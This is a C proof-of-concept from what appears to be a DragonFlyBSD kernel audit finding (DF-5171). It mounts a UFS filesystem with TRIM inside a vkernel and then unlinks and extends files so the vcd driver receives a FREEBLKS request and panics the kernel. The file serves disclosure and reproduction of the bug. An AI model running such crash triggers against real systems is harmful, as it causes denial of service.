⬢ DragonFlyBSD Kernel Audit
DF-5171 / vcd_trim_poc.c
← back to finding ↓ download raw
/*
 * DF-5171 PoC - vcdstrategy() panics on BUF_CMD_FREEBLKS (FFS TRIM path).
 *
 * Runs as PID1 inside a vkernel booted with:
 *    vkernel64 -m 256M -r root.img -c ffs.img -e init_path=/poc
 *
 * Chain: mount -o trim,async /dev/vcd0s0a /mnt
 *        unlink /mnt/junk/data.bin
 *        -> ffs_blkfree() (MNT_TRIM) builds BUF_CMD_FREEBLKS bio
 *        -> vn_strategy -> diskstrategy -> dscheck (passes: in-bounds, aligned)
 *        -> dev_dstrategy(rawdev vcd0) -> vcdstrategy()
 *        -> default: panic("vcd: bad b_cmd 3")
 *
 * All diagnostics go to /marker on the (writable vkd0) root fs: the
 * vkernel does not wire init's stdio to the console.
 */
#include <errno.h>
#include <stdarg.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/mount.h>
#include <string.h>

#ifndef MNT_TRIM
#define MNT_TRIM 0x01000000
#endif

int mount(const char *, const char *, int, void *);

extern int unmount(const char *, int);

struct ufs_args_loc {
	char *fspec;
	char export_pad[512];
};

static int consfd = -1;

static void
logmark(const char *fmt, ...)
{
	va_list ap;
	char buf[512];
	int n;

	va_start(ap, fmt);
	n = vsnprintf(buf, sizeof(buf), fmt, ap);
	va_end(ap);
	if (n > 0) {
		int fd = open("/marker", O_WRONLY | O_CREAT | O_APPEND, 0644);
		if (fd >= 0) {
			write(fd, buf, n);
			close(fd);
		}
		if (consfd < 0)
			consfd = open("/dev/console", O_WRONLY);
		if (consfd >= 0)
			write(consfd, buf, n);
	}
}

int
main(void)
{
	static struct ufs_args_loc args;
	int fd, i;
	const char *nodes[] = { "/dev/vcd0", "/dev/vcd0s0", "/dev/vcd0s0a", NULL };

	logmark("DF-5171 vcd FREEBLKS panic PoC start\n");

	for (i = 0; nodes[i]; i++) {
		fd = open(nodes[i], O_RDONLY);
		logmark("open %s -> %d errno=%d\n", nodes[i], fd, errno);
		if (fd >= 0)
			close(fd);
	}

	mkdir("/mnt", 0777);
	args.fspec = "/dev/vcd0s0a";
	if (mount("ufs", "/mnt", MNT_TRIM | MNT_ASYNC, &args) < 0) {
		logmark("mount(vcd0s0a, trim|async) FAILED errno=%d\n", errno);
		args.fspec = "/dev/vcd0s0";
		if (mount("ufs", "/mnt", MNT_TRIM | MNT_ASYNC, &args) < 0) {
			logmark("mount(vcd0s0, trim|async) FAILED errno=%d\n",
				errno);
			logmark("RESULT: mount-failed\n");
			return (1);
		}
		logmark("mount(vcd0s0) OK\n");
	} else {
		logmark("mount(vcd0s0a, trim|async) OK\n");
	}

	/* verify the trim flag actually landed on the mount */
	{
		struct statfs sf;
		if (statfs("/mnt", &sf) == 0)
			logmark("statfs f_flags=%08x MNT_TRIM(0x01000000)=%s\n",
			    (unsigned)sf.f_flags,
			    (sf.f_flags & 0x01000000) ? "SET" : "CLEAR");
		else
			logmark("statfs FAILED errno=%d\n", errno);
	}

	logmark("UNLINKING /mnt/junk/data.bin...\n");
	if (unlink("/mnt/junk/data.bin") < 0)
		logmark("unlink FAILED errno=%d (no panic though)\n", errno);
	else
		logmark("unlink returned OK\n");

	/*
	 * Synchronous trigger: fragment reallocation on block extension
	 * (ffs_realloccg -> ffs_blkfree, ffs_alloc.c:292) issues the
	 * BUF_CMD_FREEBLKS bio from inside write(2).  If the driver is
	 * vulnerable the vkernel panics BEFORE this write returns.
	 */
	{
		int fd3;
		char one[1] = { 'x' };
		char big[4096];

		memset(big, 'y', sizeof(big));
		fd3 = open("/mnt/junk/grow", O_CREAT | O_WRONLY, 0644);
		if (fd3 < 0) {
			logmark("open(/mnt/junk/grow) FAILED errno=%d\n", errno);
		} else {
			logmark("writing frag...\n");
			if (write(fd3, one, 1) != 1)
				logmark("write1 FAILED errno=%d\n", errno);
			logmark("extending past frag (realloccg)...\n");
			if (write(fd3, big, sizeof(big)) != (ssize_t)sizeof(big))
				logmark("write2 FAILED errno=%d\n", errno);
			else
				logmark("write2 returned OK\n");
			close(fd3);
		}
	}

	/* force deferred ufs_inactive() -> ffs_truncate -> ffs_blkfree */
	sync();
	sleep(2);
	logmark("survived sync()\n");
	if (unmount("/mnt", 0) == 0)
		logmark("UNMOUNTED (vflush done)\n");
	else
		logmark("unmount FAILED errno=%d\n", errno);
	sleep(3);

	/* last resort: churn the vnode cache to recycle the dead vnode */
	{
		int i;
		for (i = 0; i < 2000; i++) {
			char p[64];
			int fd2;
			snprintf(p, sizeof(p), "/mnt/junk/t%d", i);
			fd2 = open(p, O_CREAT | O_WRONLY, 0644);
			if (fd2 >= 0) {
				write(fd2, p, 8);
				close(fd2);
			}
			unlink(p);
		}
		logmark("vnode churn done\n");
	}
	sync();
	sleep(3);
	logmark("RESULT: no-panic (STILL ALIVE)\n");
	return (0);
}